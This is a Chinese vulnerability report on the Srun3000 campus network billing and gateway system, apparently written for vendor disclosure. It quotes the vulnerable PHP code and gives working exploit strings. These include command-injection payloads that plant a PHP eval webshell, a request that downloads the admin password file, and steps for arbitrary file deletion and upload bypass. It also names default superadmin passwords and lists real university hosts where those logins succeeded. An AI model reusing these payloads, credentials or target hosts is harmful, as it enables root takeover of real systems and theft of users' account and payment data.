### 简要描述: 问题很严重,综合各个漏洞,可以随意getshell,漏洞大致有默认配置不当、命令执行、越权操作、未授权访问、SQL注入、任意文件删除、任意文件下载、任意允许类型文件上传 ### 详细说明: 注:部分漏洞内容重复 说明: 查看之前厂商的回复得知,最新版应该为Srun3000 [3.00rc14.17.15],而且新版本代码全部加密(其实代码加密不能从根本上解决安全问题,有时会变得更不安全),同时提供框架校验,命令执行不采用shell模式等等,修复了很多问题。 由于暂时未能看到最新版,所以测试的版本为Srun3000 [3.00rc14.17.4]。总结了一下发现的问题,还请厂商进行查证,看哪些问题已经修复了,哪些问题还未修复。 若已经修复,还请通知使用低于该版本的产品的客户及时更新,毕竟危害很大(因为其通常与一些敏感数据库相连接,使用量较大涉及金钱等);若未修复,还请及时出漏洞补丁。:) 产品目录结构: Srun3000 [3.00rc14.17.4]系统的相关信息如下 系统默认端口为8800,对应的web路径为/srun3/srun/services/ 端口为8080的对应web路径为/srun3/srun/web/ 端口为8081的对应的web路径为/srun3/srun/system/ 端口为80的对应的web路径为/srun3/web/ /srun3/srun/services/为学生登录查看自己的个人信息,个人上网记录等,其数据库密码加密方式为密码md5然后从第9位开始取16位,数据库表为user 登录地址为http://xxoo:8800/ /srun3/srun/web/ 对应的管理员对用户的管理 ,其数据库密码加密方式为密码md5,对应的数据库表为sysmgr 有两个帐号admin密码admin support 登录地址为http://xxoo:8080/ /srun3/srun/system/对应的管理员对服务器的管理,其密码加密方式为md5.js加密的,而其存放位置即系统的位置/srun3/etc/srun.conf文件里 登录地址为http://xxoo:8081/ /srun3/srun/web/应该为综合web页面,网关入口 登录地址为http://xxoo:80/ 漏洞情况:...
### 简要描述: 问题很严重,综合各个漏洞,可以随意getshell,漏洞大致有默认配置不当、命令执行、越权操作、未授权访问、SQL注入、任意文件删除、任意文件下载、任意允许类型文件上传 ### 详细说明: 注:部分漏洞内容重复 说明: 查看之前厂商的回复得知,最新版应该为Srun3000 [3.00rc14.17.15],而且新版本代码全部加密(其实代码加密不能从根本上解决安全问题,有时会变得更不安全),同时提供框架校验,命令执行不采用shell模式等等,修复了很多问题。 由于暂时未能看到最新版,所以测试的版本为Srun3000 [3.00rc14.17.4]。总结了一下发现的问题,还请厂商进行查证,看哪些问题已经修复了,哪些问题还未修复。 若已经修复,还请通知使用低于该版本的产品的客户及时更新,毕竟危害很大(因为其通常与一些敏感数据库相连接,使用量较大涉及金钱等);若未修复,还请及时出漏洞补丁。:) 产品目录结构: Srun3000 [3.00rc14.17.4]系统的相关信息如下 系统默认端口为8800,对应的web路径为/srun3/srun/services/ 端口为8080的对应web路径为/srun3/srun/web/ 端口为8081的对应的web路径为/srun3/srun/system/ 端口为80的对应的web路径为/srun3/web/ /srun3/srun/services/为学生登录查看自己的个人信息,个人上网记录等,其数据库密码加密方式为密码md5然后从第9位开始取16位,数据库表为user 登录地址为http://xxoo:8800/ /srun3/srun/web/ 对应的管理员对用户的管理 ,其数据库密码加密方式为密码md5,对应的数据库表为sysmgr 有两个帐号admin密码admin support 登录地址为http://xxoo:8080/ /srun3/srun/system/对应的管理员对服务器的管理,其密码加密方式为md5.js加密的,而其存放位置即系统的位置/srun3/etc/srun.conf文件里 登录地址为http://xxoo:8081/ /srun3/srun/web/应该为综合web页面,网关入口 登录地址为http://xxoo:80/ 漏洞情况: 一、80端口的服务,对应的绝对路径为/srun3/web/ 说明:该服务为用户认证系统,标准网关入口,其相关数据存储在内存里的,是同步用户数据库里的数据的。 查看官方说明如下 [<img src="https://images.seebug.org/upload/201407/08025226cdec66af1ed91c251beacd70beddd443.jpg" alt="a.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08025226cdec66af1ed91c251beacd70beddd443.jpg) 1.命令执行漏洞:[之前白帽基本都提交过,不知官方如何修复的] /srun3/web/user_info.php 代码: ``` $uid=$_GET["uid"]; $uid6=$_GET["uid6"]; if($fd=popen("/srun3/bin/online_user -".$ipv." -f ".$uid, "r"))//命令执行漏洞,无需登录 { $content=fread($fd, 1024); fclose($fd); } $array=explode("\t",$content); if($uid6) { if($fd=popen("/srun3/bin/online_user -6 -f ".$uid6, "r"))//命令执行漏洞,无需登录 { $content=""; $content=fread($fd, 1024); fclose($fd); } $array1=explode("\t",$content); } ``` 同理/srun3/web/user_info1.php、/srun3/web/user_info_en.php、/srun3/web/online.php、/srun3/web/do_command.php、/srun3/web/rad_online.php、/srun3/web/jp.php中都存在 命令执行漏洞不一一列举了,其实该web目录下的所有文件,都应加个权限认证,有管理权限才可以访问执行。命令执行的漏洞利用exp为 |echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php 2.越权访问 漏洞文件/srun3/web/do_command.php 无需管理帐号即可让任意用户下线 ``` switch($_GET["action"]) { case "drop_user1": //强制下线某个帐号的所有用户,无需登录,无线管理帐号 if($_GET["ipv"]=="ipv4") { $pfd=popen("/srun3/bin/online_user -4 -d ".$_GET["uname1"], "r"); } else { $pfd=popen("/srun3/bin/online_user -6 -d ".$_GET["uname1"], "r"); } $con = fread($pfd, 128); echo $con; pclose($pfd); break; ``` 任意用户写网站公告 ``` case "index_edit": $contents = urldecode($_POST["con"]); file_put_contents("/srun3/etc/msg.conf", $contents); $temp=file_get_contents("/srun3/web/templets/index_old.html"); $temp=str_replace("{:message:}", $contents, $temp); file_put_contents("/srun3/web/index_old.html", $temp); if(is_file("/srun3/web/templets/index.html")) { //写入公告 $eidolon=new Eidolon("templets/index.html"); $eidolon->setBlock("tr"); //$temp=file_get_contents("/srun3/web/templets/login_dz.html"); //$temp=str_replace("{:message:}", $contents, $temp); $message=$contents; ``` 由官方文档可知,用户的网关验证密码存储在内存里,因而此处可以修改任意登录的用户的密码 ``` case "set_passwd": //修改内存中的密码 $command="/srun3/bin/set_user passwd ".$_GET["uname"]." ".urldecode($_GET["pass"]);//修改任意用户的密码 $fp=popen($command, "r"); if($fp) { $con=fread($fp, 24); echo $con; pclose($fp); } break; ``` 总之,该文件里的所有操作都未进行权限判断,导致可以执行几乎所有的操作。 二、8800端口的服务,对应的绝对路径为/srun3/srun/services/ 说明:该服务为用户自助管理系统:提供用户自助明细查询、修改密码及卡充值功能。 即上网需要使用的帐号,其帐号密码存储在数据库user表中,密码加密方式为密码md5然后从第9位开始取16位 1.注入漏洞 漏洞文件:/srun3/srun/services/modules/userbills/controller/userbills_controller.php 代码: ``` public function prints() { global $ts,$action,$go,$page, $id;//$id等这些变量都是用户可控的 $data_where =array ( 'check_out_id' => $id, 'type' => 'bills', 'user_login_name'=>$_SESSION['user_login_name'] ); $list =$this->model->get_list ( $this->model->get_index_where ( $data_where ), 0, 1 );//注入 $data = $list [0]; $data ['title'] = "用户帐单"; parent::$templates->assign ( 'list', $data ); parent::$templates->display ( 'user_info_print_bill' ); } ``` 函数代码 ``` public function get_index_where($data){ $where = " WHERE 1"; if ($data ['type'] == 'bills') { $where .= (! empty ( $data ['check_out_id'] ) && intval ( $data ['check_out_id'] ) > 0) ? " AND a.check_out_id=" . $data ['check_out_id'] : ""; $where .= (! empty ( $data ['check_out_type'] ) && $data ['check_out_type'] != 'all') ? " AND a.check_out_type=" . $data ['check_out_type'] : ""; if (! empty ( $data ['start_time'] )) { $where .= " AND a.check_end_date >= '" . $data ['start_time'] . " 00:00:00'"; } if (! empty ( $data ['end_time'] ) && $data ['check_end_date'] != "0000-00-00") { $where .= " AND a.check_end_date <= '" . $data ['end_time'] . " 23:59:59'"; } } $where .= " AND a.user_login_name='" . $data['user_login_name'] . "'"; return $where; } ``` 打印账单时候触发,测试时的截图(服务默认root权限) [<img src="https://images.seebug.org/upload/201407/080255243675846f15324e5ade4709869d9f2bd4.jpg" alt="b.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/080255243675846f15324e5ade4709869d9f2bd4.jpg) 2.任意文件下载漏洞 昨天提交的 [WooYun: Srun3000计费系统任意文件下载漏洞(直接获取管理密码)](http://www.wooyun.org/bugs/wooyun-2014-067666) 3.任意文件删除漏洞 昨天提交的 [WooYun: Srun3000计费系统任意文件删除漏洞](http://www.wooyun.org/bugs/wooyun-2014-067667) 三、8081端口的服务,对应的绝对路径为/srun3/srun/system/ 说明:该服务为管理员对整个服务器设备的管理,对网关服务器进行配置,管理用户,指定全局策略等。 其密码加密方式为md5加密,而其存放位置是/srun3/etc/srun.conf文件里 1.命令执行漏洞 之前白帽提交的命令执行漏洞 不需要登录的有以下几个文件: radtest.php、get_online_user.php 需要登录的有以下几个文件: log.php、mem_user.php、online_user.php、show_flux.php 以下为平台未提交过的,存在命令执行漏洞,由于添加了session认证,需要登录。虽然需要登录,但是可以综合前面的任意文件下载漏洞(无需登录)获得管理员密码或者利用其默认配置不当缺陷(默认帐号admin和support)获得管理密码,从而继续利用命令执行漏洞直接获得服务器的root权限。 漏洞文件/srun3/srun/system/nat.php ``` switch($_POST["action"]) { case "set_nat": file_put_contents("/proc/sys/net/ipv4/ip_forward","1"); $fp = popen("iptables -t nat -A POSTROUTING -o ".trim($_POST["ifname"])." -j MASQUERADE", "r");//命令执行 ``` 结果为 [<img src="https://images.seebug.org/upload/201407/0802563493b95bcde4fb53c9683f04570f40c5a8.jpg" alt="c.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0802563493b95bcde4fb53c9683f04570f40c5a8.jpg) 以下同样存在,就不截图验证了 /srun3/srun/system/flux_tab.php EXP-POST数据为:action=clean&ip=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php /srun3/srun/system/online_user6.php EXP-POST数据为:action=drop&uname=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php /srun3/srun/system/online_user_rad.php EXP-POST数据为:action=drop_user&uname=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php /srun3/srun/system/tab.php EXP-POST数据为:tab=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php 四、8080端口的服务,对应的绝对路径为/srun3/srun/web/ 说明:该服务为操作员管理系统:提供用户管理、缴费、计费策略定制、统计等功能。 即为管理帐号,其对应的数据库表为sysmgr ,密码加密方式为密码md5。 管理帐号默认有两个 一个为admin默认密码为admin、一个为support默认密码为bbspass都是超级管理员组。 1.默认配置不当 其使用的admin support帐号都为超级管理员,默认密码分别为admin和bbspass。而此类超级管理员帐号应该第一次登录时候提示更改,或随机设置。实际测试中发现,管理员通常修改了8081端口服务admin的密码,但未修改8080端口服务admin的密码;或者两者的admin密码都修改了,但是未修改srun远程服务的帐号support的密码。而support帐号为超级管理员权限,可进行任意的充值、添加删除用户、添加管理等等。 由于该产品可能很多是禁止外部访问的,此处利用google获得的几个地址,关键字index.php?action=userregister或/index.php?action=editpwd或srun3000系统自服务管理平台等等。此处筛选了15个链接,其中测试情况为 默认帐号登录失败的有 http://login.imau.edu.cn:8800/ http://202.207.48.61:8800/ http://sf.bhu.edu.cn:8800/ http://rzjf.tjut.edu.cn:8800/非法ip http://210.29.65.199:8800/ http://202.201.208.126:8800 登录成功的有(admin登录不成功,但support登录成功) http://159.226.39.22:8080/ support可以登录 http://gateway.xjnu.edu.cn:8080/ support可以登录 http://218.195.208.137:8080/ support可以登录 http://122.224.209.169:8080/ support可以登录 http://159.226.8.93:8080/ support可以登录 http://211.64.104.7:8080/ support可以登录 http://202.112.14.145:8080/ admin可以登录 http://218.75.75.91:18081/ admin可以登录 http://202.113.128.16:8080/ admin可以登录 以下是部分截图,其中有的数据高达32万条,危害还是比较大的。 [<img src="https://images.seebug.org/upload/201407/080257314b0fe20b56d52dc6b18c75217ccb9441.png" alt="d.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/080257314b0fe20b56d52dc6b18c75217ccb9441.png) [<img src="https://images.seebug.org/upload/201407/080257435192c950de4a96a9e2edeead940f5783.png" alt="e.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/080257435192c950de4a96a9e2edeead940f5783.png) [<img src="https://images.seebug.org/upload/201407/0803070264e45a0cbbd620d67dc8992534b9e2ce.png" alt="l.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0803070264e45a0cbbd620d67dc8992534b9e2ce.png) [<img src="https://images.seebug.org/upload/201407/08030715395ac78401047529963830fb31c98b3f.png" alt="m.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08030715395ac78401047529963830fb31c98b3f.png) [<img src="https://images.seebug.org/upload/201407/08030728d6bfd362646c6cd3542164ca569bc4ee.png" alt="n.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08030728d6bfd362646c6cd3542164ca569bc4ee.png) 2.任意文件下载漏洞(无需登录) 与之前提交的类似,应该是同一个模版改写的。 漏洞文件/srun3/srun/web/modules/login/controller/login_controller.php ``` public function download(){ global $file; $this->model->download_file($file);//任意文件下载漏洞,无需登录 } ``` 函数声明文件为/srun3/srun/web/modules/modules.php ``` public function download_file($file) { if (file_exists ( $file )) { $this_base_file = basename ( $file ); header ( "Content-type:application/octet-stream" ); header ( "Accept-Ranges: bytes" ); header ( "Accept-Length: " . filesize ( $file ) ); header ( "Content-Disposition: attachment; filename=\"" . $this_base_file . "\"" ); readfile ( $file ); } } ``` 漏洞利用 构造exp:ts=download&file=/srun3/etc/srun.conf 该文件存储了管理员的md5加密的密码 [<img src="https://images.seebug.org/upload/201407/08025900fc6c7c4fe234518e330630a3d04e304a.jpg" alt="f.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08025900fc6c7c4fe234518e330630a3d04e304a.jpg) 如图 [<img src="https://images.seebug.org/upload/201407/08025916dae4c792fd30c409175caee732d85ad9.png" alt="g.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08025916dae4c792fd30c409175caee732d85ad9.png) 3.设计缺陷 看官方文档获得,其每天应该对数据库进行一次备份,而备份的文件命名是有规律的,文件名形式{年月日}.tar.gz 其实这也不能算设计缺陷,因为其并未存放在web目录下,无法下载。但此处恰好又有了任意文件下载漏洞,从而可以将其下载,这也证实了该任意文件下载的危害其实很大。该文件存储的是整个数据库的文件,包括管理员(充值缴费管理员等)以及所有上网用户的帐号密码等数据。 [<img src="https://images.seebug.org/upload/201407/08030001c5f1dac3b8b5cc546c8401a48fae5d61.jpg" alt="h.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08030001c5f1dac3b8b5cc546c8401a48fae5d61.jpg) 下载后如图 [<img src="https://images.seebug.org/upload/201407/08030019805bafcb6f37919a7247b22e850e1f00.png" alt="i.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08030019805bafcb6f37919a7247b22e850e1f00.png) 管理员数据表为sysmgr,普通用户的数据表为user [<img src="https://images.seebug.org/upload/201407/0803004017e894ab07af3532704a282f8648a46f.png" alt="j.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0803004017e894ab07af3532704a282f8648a46f.png) 4.任意文件删除漏洞(无需登录) 由于此服务都是运行在root权限下,因而可删除任意文件,若被恶意利用,会产生很坏的影响 漏洞文件:/srun3/srun/web/modules/login/controller/login_controller.php 代码: ``` public function delete_file(){ global $file; echo $this->model->delete_file($file)?101:100;//任意文件删除漏洞,无需登录 } ``` 函数 ``` public function delete_file($file) { if (file_exists ( $file )) { return unlink ( $file ); } else { return false; } } ``` 5.任意允许类型文件上传 漏洞文件:/srun3/srun/web/include/function/upload.php 代码 ``` //验证数据来源,无法防模拟HTTP if($_FILES){ $sub_len=strlen($_SERVER['SERVER_NAME']); $from=substr($_SERVER['HTTP_REFERER'],7,$sub_len); if($from<>$_SERVER['SERVER_NAME']){ exit; } } header('Content-Type: text/html; charset=gb2312'); $inputName='filedata';//表单文件域name $attachDir='srun3/web/';//上传文件保存路径,结尾不要带/ !file_exists('/'.$attachDir) && newdir('/'.$attachDir); $maxAttachSize=2097152;//最大上传大小,默认是2M $upExt='txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid';//上传扩展名 ``` 只验证了referer,本地伪造Referer: http://x.x.x.x x为服务器的ip, 即可上传,并未进行权限的认证,导致可以上传允许文件的扩展名的任意文件。 其中其验证后缀的函数为 ``` if($err==''){ $fileInfo=pathinfo($localName); $extension=$fileInfo['extension']; if(preg_match('/'.str_replace(',','|',$upExt).'/i',$extension)) ``` 很明显此正则表达式可绕过,从而上传畸形文件,如图 [<img src="https://images.seebug.org/upload/201407/08030238dfea58848bfa0e58e7016e220732ca76.png" alt="k.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/08030238dfea58848bfa0e58e7016e220732ca76.png) ### 漏洞证明: 如上长长的详细描述